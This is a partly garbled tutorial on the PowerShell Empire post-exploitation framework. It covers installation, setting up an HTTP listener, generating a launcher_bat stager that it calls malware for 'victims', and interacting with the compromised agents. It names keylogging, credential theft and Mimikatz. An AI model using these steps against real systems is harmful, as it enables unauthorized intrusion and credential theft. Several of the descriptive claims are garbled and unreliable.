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    PowerShell Empire is a post-exploitation framework that uses PowerShell to execute scripts on target machines running Windows, Linux, or macOS. It includes various modules that allow activities like keylogging, credential theft, and lateral movement. Empire communicates over HTTP to avoid detection. It works by setting up a listener on the attacker's machine. Then a stager module uploads an agent payload to the target. The agent connects back to the listener, which can then run modules to accomplish the attacker's goals.

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    PowerShell Empire is a post-exploitation framework that uses PowerShell to execute scripts on target machines running Windows, Linux, or macOS. It includes various modules that allow activities like keylogging, credential theft, and lateral movement. Empire communicates over HTTP to avoid detection. It works by setting up a listener on the attacker's machine. Then a stager module uploads an agent payload to the target. The agent connects back to the listener, which can then run modules to accomplish the attacker's goals.

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    What is PowerShell Empire?

    A post-exploitation agent that can operate on all PowerShell


    agents is termed as PowerShell Empire. Without the assistance
    of modules, keyloggers, or PowerShell.exe, it can be installed.
    It bundles every framework and uploads it to GitHub, which is
    accessible as a public source and uses adaptive communication
    to elude network detection. The intruder uses all the
    PowerShell frameworks to accomplish their objectives and
    exploits any Windows server using an unknown pattern. The
    server then sends the attacker’s desired answer or information
    back. Empire is a popular post-exploitation tool for Windows,
    Linux, and macOS.

    In general, Empire is a PowerShell-specific version of the


    Metasploit tool. It enables you to link back to your PC and run
    PowerShell scripts in memory.

    INSTALLATION

    For Kali Linux: sudo apt install powershell-empire

    OR

    git clone https://github.com/BC-SECURITY/Empire.git

    cd Empire

    sudo ./setup/install.sh

    Features:

     Includes a pure-PowerShell 2.0 Windows agent

     Compatible with Python 3. x Linux/OS X agents

     Deploy Post-Exploitation modules from keyloggers to


    Mimikatz.

     Designed in a way to avoid detection


    Working:
    What is Listener?

    A local process that listens for a connection from the attacked


    remote host.

    What is Stager?

    It is a piece of code that uploads the Agent (also known as the


    payload) to the attacked remote host.

    What is an Agent?

    An agent is a process running on the attacked remote host


    that connects to your Listener.

    What is a Module?

    The module is the code that the Agent executes to accomplish


    specific

    goals.

    The method states that we must first set up a listener on our


    local PC.

    Enter the command as follows:


    listeners

    No listeners are currently active after executing the


    aforementioned command but don’t sweat it, we are now at the
    listener interface. Type the following in this listener interface:

    uselistener <tab> <tab>

    The most popular and commonly used listener is http and we


    will use the same in our practice. For that type:

    uselistener http

    This command establishes a listener on port 80 locally. As this


    listener is a http listener, it will only function on port 80, thus
    please make sure you disable any services using port 80, such
    as Apache. Here are all the options for this listener type that
    you need to enter:

    Info
    There are several settings you may use to alter or personalize
    your listener. Let’s try modifying the name of our listener
    because, if activated in bulk, it makes it easier to remember all
    the listeners that are active. To do this, type:

    set Name test

    The listeners’ name will be changed from http to test by the


    aforementioned command.

    Normally, this listener uses the local host IP automatically, but


    just in case, you can use the command below to set your IP:

    set Host //192.168.1.107

    execute

    The listener will be run by the above command. Utilize


    PowerShell listener once again as displayed in the image.
    To return to the listener interface so that we may run our
    modules, type “back”. To view all the modules the empire
    offers, enter the command below:

    usestager <tabt> <tab>

    There are several modules available for use on both Windows


    and iOS, as shown in the figure below, as well as some
    universal ones. We’ll use launcher_ bat to make malware and
    target the computer of our victims.

    usestager windows/launcher_bat

    To examine all the settings needed by the exploit, type “info”


    once again. You’ll realise after looking that all we need to
    supply is listening. As a result, type:

    set Listener test

    execute
    Following the creation of /tmp/launcher.bat and configuring
    the listener test, the two commands will run our exploit.
    Execute this file on the victims’ computers using the Python
    server. There will be a session while the file is being executed.
    To determine the session type:

    agents

    You may confirm that you have a session activated with the
    aforementioned command. The default name for your session
    is rather complicated and difficult to remember, so you can
    modify it.

    rename ZAF3GT5W newname

    To access the session, use the procedure below:

    interact newname

    Try to get an admin session once you have access to the


    session.

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